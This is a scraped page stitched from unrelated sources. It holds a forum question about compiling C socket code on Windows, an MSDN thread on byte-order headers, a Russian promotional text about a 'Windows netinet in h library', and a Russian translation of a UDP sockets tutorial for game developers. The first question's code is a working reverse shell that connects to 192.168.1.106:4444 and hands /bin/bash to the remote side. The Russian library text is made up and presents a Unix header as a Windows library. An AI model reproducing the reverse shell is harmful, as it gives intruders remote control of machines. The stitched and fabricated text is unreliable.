I’m currently working on a c++ project regarding a TCP Remote shell. Therefore I build the following code. As I’m working on windows, I found substitute libraries and headers for all of the following «#include», except for <netinet/in.h>
Thanks for all your help!
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <C:\Visual Studio 2019\libunistd-master\unistd\sys\socket.h>
#include <C:\Visual Studio 2019\libunistd-master\unistd\unistd.h>
#include <Winsock2.h>
//#include <netinet/in.h>
#include <C:\Documents\Visual Studio 2019\libunistd-master\unistd\arpa/inet.h>
int main(void) {
int sockt;
int port = 4444;
struct sockaddr_in revsockaddr;
sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.106");
connect(sockt, (struct sockaddr*)&revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char* const argv[] = {"/bin/bash", NULL };
execve("/bin/bash", argv, NULL);
return 0;
}
´´´´´´
I’ve fixed my program as below but still got 2 errors:
Here is my first path of program:
#include "stdafx.h" #include "iostream" #include "sstream" #include "winsock.h" #include "ws2tcpip.h" #include "netinet/in.h"
In this line i have problem:
#include "netinet/in.h
The errors are:
C1083: Can’t open the ‘include’ file ,
#include netinet/in.h
:No such file and directory
E1696: Cant’t open Source file
How can i fixed this
thank you so much.
What I have tried:
I have many errors which call LNK 2019 as in my others question and when i added
"netinet/in.h"
into #include function all these errors were gone.
If you are building in Windows then you need to include Winsock2.h, the netinet subset is for UNIX/Linux, I think. You should also put file names of system headers in < and > rather than double quotes.
This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)
CodeProject,
20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8
+1 (416) 849-8900
- Remove From My Forums
-
Question
-
I’m reading a book named ‘Network Programming for micorsoft windows 2nd’ by Anthony Jones and Jim Ohlund.
I think it’s not a so good book. I don’t find anything about byte order in it.
if in *nix, I can include <netinet/in.h> and use functions like
uint16_t ntohs(uint16_t net16bitvalue);
but in VS C++, it does not work. It can’t even find the header file.
so what should I do? thanks for any suggestion.
Answers
-
harry but no harry spot wrote:
I’m reading a book named ‘Network Programming for micorsoft windows 2nd’ by Anthony Jones and Jim Ohlund.
I think it’s not a so good book. I don’t find anything about byte order in it.
if in *nix, I can include <netinet/in.h> and use functions like
uint16_t ntohs(uint16_t net16bitvalue);Had you bothered to read the documentation at
http://msdn.microsoft.com/en-us/library/ms740075.aspx
you’d find that you need to include Winsock2.h .
Igor Tandetnik
-
Marked as answer by
Thursday, March 3, 2011 3:48 PM
-
Marked as answer by
Windows netinet in h – это библиотека, которая предоставляет набор функций и структур данных для работы с сетевыми протоколами в операционной системе Windows. Эта библиотека позволяет разработчикам создавать приложения, которые могут обмениваться данными по сети, используя различные протоколы, такие как TCP, UDP, IP и другие.
Основная цель Windows netinet in h состоит в обеспечении простого и удобного доступа к сетевым возможностям операционной системы. Она помогает разработчикам создавать сетевые приложения, которые могут обрабатывать сетевые соединения, передавать и получать данные и выполнять другие задачи, связанные с сетевым взаимодействием.
Библиотека Windows netinet in h предлагает множество функций, таких как создание сокетов, установка соединений, отправка и получение данных, управление настройками сети и т. д. Кроме того, она предоставляет различные структуры данных, которые позволяют работать с IP-адресами, портами, пакетами данных и другими сетевыми объектами.
Windows netinet in h представляет собой мощный инструмент для разработчиков, предоставляющий все необходимые средства для создания сетевых приложений под операционную систему Windows. Эта библиотека широко применяется в различных областях, таких как веб-разработка, серверные приложения, игровая индустрия и другие. Благодаря своим функциям и простому интерфейсу, Windows netinet in h делает разработку сетевых приложений более эффективной и удобной.
Содержание
- Поддержка сетевых протоколов и гибкая настройка
- Высокая производительность и надежность
- Широкий функционал для сетевого взаимодействия
Поддержка сетевых протоколов и гибкая настройка
Библиотека Windows netinet in h предоставляет разработчикам возможность легко работать с сетевыми протоколами. Она обеспечивает поддержку различных протоколов, таких как TCP/IP, UDP, ICMP и других.
С помощью netinet in h можно создавать клиентские и серверные приложения, обмениваться данными между ними по сети. Протоколы TCP/IP и UDP позволяют передавать данные между удаленными узлами, гарантируя доставку и сохранность информации.
Библиотека также предоставляет гибкую настройку сетевых соединений. Разработчики могут устанавливать опции и параметры для каждого протокола, а также контролировать их поведение во время передачи данных.
Протокол | Описание |
---|---|
TCP | Гарантирует доставку данных, поддерживает установку соединения и обработку ошибок |
UDP | Позволяет передавать данные без установки соединения и без гарантии доставки |
ICMP | Используется для управления и диагностики сети, например, для отправки эхо-запросов и получения эхо-ответов |
Контроль над сетевыми соединениями позволяет оптимизировать передачу данных, управлять полосой пропускания, устанавливать таймауты и делать другие настройки в зависимости от требований приложения.
Благодаря поддержке сетевых протоколов и гибкой настройке netinet in h является мощным инструментом для разработки сетевых приложений в операционной системе Windows.
Высокая производительность и надежность
Windows netinet in h предоставляет широкий набор функций, способных обеспечить высокую производительность и надежность работы вашей системы.
Реализация стека протоколов TCP/IP в Windows netinet in h обладает оптимизированными алгоритмами для обработки сетевых пакетов, что позволяет достичь максимальной эффективности передачи данных.
Библиотека Windows netinet in h также включает механизмы обработки ошибок и управления ресурсами, что обеспечивает надежность работы приложений, использующих сетевое взаимодействие.
За счет оптимизации и использования современных алгоритмов, Windows netinet in h обеспечивает высокий уровень производительности при работе с сетевыми протоколами, что позволяет улучшить отклик и продуктивность вашей системы.
Благодаря надежности и высокой производительности Windows netinet in h становится отличным выбором для разработки различных сетевых приложений на платформе Windows.
Широкий функционал для сетевого взаимодействия
Библиотека winsock2
в заголовочном файле winsock2.h
предоставляет множество возможностей для сетевого взаимодействия в операционной системе Windows. Благодаря ей, разработчики могут создавать сетевые приложения с различными протоколами и функциональностью.
Одной из основных возможностей winsock2
является создание сокетов. Сокеты позволяют устанавливать соединение между клиентом и сервером, а также передавать данные между ними. Используя функции, такие как socket
, bind
, listen
и accept
, можно создавать и настраивать сокеты для различных протоколов, таких как TCP и UDP.
Библиотека также предоставляет набор функций для отправки и приема данных по сети. С помощью функций, таких как send
и recv
, можно передавать информацию между клиентом и сервером. Благодаря этому, разработчики могут реализовать обмен данными и взаимодействие между пользователями удаленно.
Кроме того, winsock2
позволяет управлять сетевыми настройками, такими как установка опций сокетов, установка таймаутов, получение информации о сетевом интерфейсе и многое другое. Таким образом, разработчики могут настраивать сетевые приложения и адаптировать их для конкретных ситуаций и требований.
В целом, библиотека winsock2
вместе с файлом winsock2.h
предоставляет разработчикам широкий функционал для сетевого взаимодействия в операционной системе Windows. С ее помощью можно создавать и конфигурировать сокеты, передавать данные по сети и управлять сетевыми настройками. Этот функционал используется при разработке различных сетевых приложений, таких как клиенты, серверы, мультимедийные приложения и прочее.
Время на прочтение
9 мин
Количество просмотров 103K
От переводчика: Это перевод второй статьи из цикла «Networking for game programmers». Мне очень нравится весь цикл статей, плюс всегда хотелось попробовать себя в качестве переводчика. Возможно, опытным разработчикам статья покажется слишком очевидной, но, как мне кажется, польза от нее в любом случае будет.
Первая статья — http://habrahabr.ru/post/209144/
Прием и передача пакетов данных
Введение
Привет, меня зовут Гленн Фидлер и я приветствую вас в своей второй статье из цикла “Сетевое программирование для разработчиков игр”.
В предыдущей статье мы обсудили различные способы передачи данных между компьютерами по сети, и в конце решили использовать протокол UDP, а не TCP. UDP мы решили использовать для того, чтобы иметь возможность пересылать данные без задержек, связанных с ожиданием повторной пересылки пакетов.
А сейчас я собираюсь рассказать вам, как на практике использовать UDP для отправки и приема пакетов.
BSD сокеты
В большинстве современных ОС имеется какая-нибудь реализация сокетов, основанная на BSD сокетах (сокетах Беркли).
Сокеты BSD оперируют простыми функциями, такими, как “socket”, “bind”, “sendto” и “recvfrom”. Конечно, вы можете обращаться к этим функциями напрямую, но в таком случае ваш код будет зависим от платформы, так как их реализации в разных ОС могут немного отличаться.
Поэтому, хоть я далее и приведу первый простой пример взаимодействия с BSD сокетами, в дальнейшем мы не будем использовать их напрямую. Вместо этого, после освоения базового функционала, мы напишем несколько классов, которые абстрагируют всю работу с сокетами, чтобы в дальнейшем наш код был платформонезависимым.
Особенности разных ОС
Для начала напишем код, который будет определять текущую ОС, чтобы мы могли учесть различия в работе сокетов:
// platform detection
#define PLATFORM_WINDOWS 1
#define PLATFORM_MAC 2
#define PLATFORM_UNIX 3
#if defined(_WIN32)
#define PLATFORM PLATFORM_WINDOWS
#elif defined(__APPLE__)
#define PLATFORM PLATFORM_MAC
#else
#define PLATFORM PLATFORM_UNIX
#endif
Теперь подключим заголовочные файлы, нужные для работы с сокетами. Так как набор необходимых заголовочных файлов зависит от текущей ОС, здесь мы используем код #define, написанный выше, чтобы определить, какие файлы нужно подключать.
#if PLATFORM == PLATFORM_WINDOWS
#include <winsock2.h>
#elif PLATFORM == PLATFORM_MAC || PLATFORM == PLATFORM_UNIX
#include <sys/socket.h>
#include <netinet/in.h>
#include <fcntl.h>
#endif
В UNIX системах функции работы с сокетами входят в стандартные системные библиотеки, поэтому никакие сторонние библиотеки нам в этом случае не нужны. Однако в Windows для этих целей нам нужно подключить библиотеку winsock.
Вот небольшая хитрость, как можно это сделать без изменения проекта или makefile’а:
#if PLATFORM == PLATFORM_WINDOWS
#pragma comment( lib, "wsock32.lib" )
#endif
Мне нравится этот прием потому, что я ленивый. Вы, конечно, можете подключить библиотеку в проект или в makefile.
Инициализация сокетов
В большинстве unix-like операционных систем (включая macosx) не требуется никаких особых действий для инициализации функционала работы с сокетами, но в Windows нужно сначала сделать пару па — нужно вызвать функцию “WSAStartup” перед использованием любых функций работы с сокетами, а после окончания работы — вызвать “WSACleanup”.
Давайте добавим две новые функции:
inline bool InitializeSockets()
{
#if PLATFORM == PLATFORM_WINDOWS
WSADATA WsaData;
return WSAStartup( MAKEWORD(2,2), &WsaData ) == NO_ERROR;
#else
return true;
#endif
}
inline void ShutdownSockets()
{
#if PLATFORM == PLATFORM_WINDOWS
WSACleanup();
#endif
}
Теперь мы имеем независимый от платформы код инициализации и завершения работы с сокетами. На платформах, которые не требуют инициализации, данный код просто не делает ничего.
Создаем сокет
Теперь мы можем создать UDP сокет. Это делается так:
int handle = socket( AF_INET, SOCK_DGRAM, IPPROTO_UDP );
if ( handle <= 0 )
{
printf( "failed to create socket\n" );
return false;
}
Далее мы должны привязать сокет к определенному номеру порта (к примеру, 30000). У каждого сокета должен быть свой уникальный порт, так как, когда приходит новый пакет, номер порта определяет, какому сокету его передать. Не используйте номера портов меньшие, чем 1024 — они зарезервированы системой.
Если вам все равно, какой номер порта использовать для сокета, вы можете просто передать в функцию “0”, и тогда система сама выделит вам какой-нибудь незанятый порт.
sockaddr_in address;
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons( (unsigned short) port );
if ( bind( handle, (const sockaddr*) &address, sizeof(sockaddr_in) ) < 0 )
{
printf( "failed to bind socket\n" );
return false;
}
Теперь наш сокет готов для передачи и приема пакетов данных.
Но что это за таинственная функция “htons” вызывается в коде? Это просто небольшая вспомогательная функция, которая переводит порядок следования байтов в 16-битном целом числе — из текущего (little- или big-endian) в big-endian, который используется при сетевом взаимодействии. Ее нужно вызывать каждый раз, когда вы используете целые числа при работе с сокетами напрямую.
Вы встретите функцию “htons” и ее 32-битного двойника — “htonl” в этой статье еще несколько раз, так что будьте внимательны.
Перевод сокета в неблокирующий режим
По умолчанию сокеты находится в так называемом “блокирующем режиме”. Это означает, что если вы попытаетесь прочитать из него данные с помощью “recvfrom”, функция не вернет значение, пока не сокет не получит пакет с данными, которые можно прочитать. Такое поведение нам совсем не подходит. Игры — это приложения, работающие в реальном времени, со скоростью от 30 до 60 кадров в секунду, и игра не может просто остановиться и ждать, пока не придет пакет с данными!
Решить эту проблему можно переведя сокет в “неблокирующий режим” после его создания. В этом режиме функция “recvfrom”, если отсутствуют данные для чтения из сокета, сразу возвращает определенное значение, показывающее, что нужно будет вызвать ее еще раз, когда в сокете появятся данные.
Перевести сокет в неблокирующий режим можно следующим образом:
#if PLATFORM == PLATFORM_MAC || PLATFORM == PLATFORM_UNIX
int nonBlocking = 1;
if ( fcntl( handle, F_SETFL, O_NONBLOCK, nonBlocking ) == -1 )
{
printf( "failed to set non-blocking socket\n" );
return false;
}
#elif PLATFORM == PLATFORM_WINDOWS
DWORD nonBlocking = 1;
if ( ioctlsocket( handle, FIONBIO, &nonBlocking ) != 0 )
{
printf( "failed to set non-blocking socket\n" );
return false;
}
#endif
Как вы можете видеть, в Windows нет функции “fcntl”, поэтому вместе нее мы используем “ioctlsocket”.
Отправка пакетов
UDP — это протокол без поддержки соединений, поэтому при каждой отправке пакета нам нужно указывать адрес получателя. Можно использовать один и тот же UDP сокет для отправки пакетов на разные IP адреса — на другом конце сокета не обязательно должен быть один компьютер.
Переслать пакет на определенный адрес можно следующим образом:
int sent_bytes = sendto( handle, (const char*)packet_data, packet_size,
0, (sockaddr*)&address, sizeof(sockaddr_in) );
if ( sent_bytes != packet_size )
{
printf( "failed to send packet: return value = %d\n", sent_bytes );
return false;
}
Обратите внимание — возвращаемое функцией “sendto” значение показывает только, был ли пакет успешно отправлен с локального компьютера. Но оно не показывает, был ли пакет принят адресатом! В UDP нет средств для определения, дошел ли пакет по назначению или нет.
В коде, приведенном выше, мы передаем структуру “sockaddr_in” в качестве адреса назначения. Как нам получить эту структуру?
Допустим, мы хотим отправить пакет по адресу 207.45.186.98:30000.
Запишем адрес в следующей форме:
unsigned int a = 207;
unsigned int b = 45;
unsigned int c = 186;
unsigned int d = 98;
unsigned short port = 30000;
И нужно сделать еще пару преобразований, чтобы привести его к форме, которую понимает “sendto”:
unsigned int destination_address = ( a << 24 ) | ( b << 16 ) | ( c << 8 ) | d;
unsigned short destination_port = port;
sockaddr_in address;
address.sin_family = AF_INET;
address.sin_addr.s_addr = htonl( destination_address );
address.sin_port = htons( destination_port );
Как видно, сначала мы объединяем числа a, b, c, d (которые лежат в диапазоне [0, 255]) в одно целое число, в котором каждый байт — это одно из исходных чисел. Затем мы инициализируем структуру “sockaddr_in” нашими адресом назначения и портом, при этом не забыв конвертировать порядок байтов с помощью функций “htonl” и “htons”.
Отдельно стоит выделить случай, когда нужно передать пакет самому себе: при этом не нужно выяснять IP адрес локальной машины, а можно просто использовать 127.0.0.1 в качестве адреса (адрес локальной петли), и пакет будет отправлен на локальный компьютер.
Прием пакетов
После того, как мы привязали UDP сокет к порту, все UDP пакеты, приходящие на IP адрес и порт нашего сокета, будут ставиться в очередь. Поэтому для приема пакетов мы просто в цикле вызываем “recvfrom”, пока он не выдаст ошибку, означающую, что пакетов для чтения в очерели не осталось.
Так как протокол UDP не поддерживает соединения, пакеты могут приходить с множества различных компьютеров сети. Каждый раз, когда мы принимаем пакет, функция “recvfrom” выдает нам IP адрес и порт отправителя, и поэтому мы знаем, кто отправил этот пакет.
Код приема пакетов в цикле:
while ( true )
{
unsigned char packet_data[256];
unsigned int maximum_packet_size = sizeof( packet_data );
#if PLATFORM == PLATFORM_WINDOWS
typedef int socklen_t;
#endif
sockaddr_in from;
socklen_t fromLength = sizeof( from );
int received_bytes = recvfrom( socket, (char*)packet_data, maximum_packet_size,
0, (sockaddr*)&from, &fromLength );
if ( received_bytes <= 0 )
break;
unsigned int from_address = ntohl( from.sin_addr.s_addr );
unsigned int from_port = ntohs( from.sin_port );
// process received packet
}
Пакеты, размер которых больше, чем размер буфера приема, будут просто втихую удалены из очереди. Так что, если вы используете буфер размером 256 байтов, как в примере выше, и кто-то присылает вам пакет в 300 байт, он будет отброшен. Вы не получите просто первые 256 байтов из пакета.
Но, поскольку мы пишем свой собственный протокол, для нас это не станет проблемой. Просто всегда будьте внимательны и проверяете, чтобы размер буфера приема был достаточно большим, и мог вместить самый большой пакет, который вам могут прислать.
Закрытие сокета
На большинстве unix-like систем, сокеты представляют собой файловые дескрипторы, поэтому для того, чтобы закрыть сокеты после использования, можно использовать стандартную функцию “close”. Однако, Windows, как всегда, выделяется, и в ней нам нужно использовать “closesocket”.
#if PLATFORM == PLATFORM_MAC || PLATFORM == PLATFORM_UNIX
close( socket );
#elif PLATFORM == PLATFORM_WINDOWS
closesocket( socket );
#endif
Так держать, Windows!
Класс сокета
Итак, мы разобрались со всеми основными операциями: создание сокета, привязка его к порту, перевод в неблокирующий режим, отправка и прием пакетов, и, в конце, закрытие сокета.
Но, как вы могли заметить, все эти операции немного отличаются от платформы к платформе, и, конечно, трудно каждый раз при работе с сокетами вспоминать особенности разных платформ и писать все эти #ifdef.
Поэтому мы сделаем класс-обертку “Socket” для всех этих операций. Также мы создадим класс “Address”, чтобы было проще работать с IP адресами. Он позволит не проводить все манипуляции с “sockaddr_in” каждый раз, когда мы захотим отправить или принять пакет.
Итак, наш класс Socket:
class Socket
{
public:
Socket();
~Socket();
bool Open( unsigned short port );
void Close();
bool IsOpen() const;
bool Send( const Address & destination, const void * data, int size );
int Receive( Address & sender, void * data, int size );
private:
int handle;
};
И класс Address:
class Address
{
public:
Address();
Address( unsigned char a, unsigned char b, unsigned char c, unsigned char d, unsigned short port );
Address( unsigned int address, unsigned short port );
unsigned int GetAddress() const;
unsigned char GetA() const;
unsigned char GetB() const;
unsigned char GetC() const;
unsigned char GetD() const;
unsigned short GetPort() const;
bool operator == ( const Address & other ) const;
bool operator != ( const Address & other ) const;
private:
unsigned int address;
unsigned short port;
};
Использовать их для приема и передачи нужно следующим образом:
// create socket
const int port = 30000;
Socket socket;
if ( !socket.Open( port ) )
{
printf( "failed to create socket!\n" );
return false;
}
// send a packet
const char data[] = "hello world!";
socket.Send( Address(127,0,0,1,port), data, sizeof( data ) );
// receive packets
while ( true )
{
Address sender;
unsigned char buffer[256];
int bytes_read = socket.Receive( sender, buffer, sizeof( buffer ) );
if ( !bytes_read )
break;
// process packet
}
Как видите, это намного проще, чем работать с BSD сокетами напрямую. И также этот код будет одинаков для всех ОС, потому весь платформозависимый функционал находится внутри классов Socket и Address.
Заключение
Теперь у нас есть независимый от платформы инструмент для отправки и према UDP пакетов.
UDP не поддерживает соединения, и мне хотелось сделать пример, который бы четко это показал. Поэтому я написал небольшую программу, которая считывает список IP адресов из текстового файла и рассылает им пакеты, по одному в секунду. Каждый раз, когда программа принимает пакет, она выводит в консоль адрес и порт компьютера-отправителя и размер принятого пакета.
Вы можете легко настроить программу так, чтобы даже на локальной машине получить несколько узлов, обменивающихся пакетами друг с другом. Для этого просто разным экземплярам программы задайте разные порты, например:
> Node 30000
> Node 30001
> Node 30002
И т.д…
Каждый из узлов будет пересылать пакеты всем остальным узлам, образуя нечто вроде мини peer-to-peer системы.
Я разрабатывал эту программу на MacOSX, но она должна компилироваться на любой unix-like ОС и на Windows, однако если вам для этого потребуется делать какие-либо доработки, сообщите мне.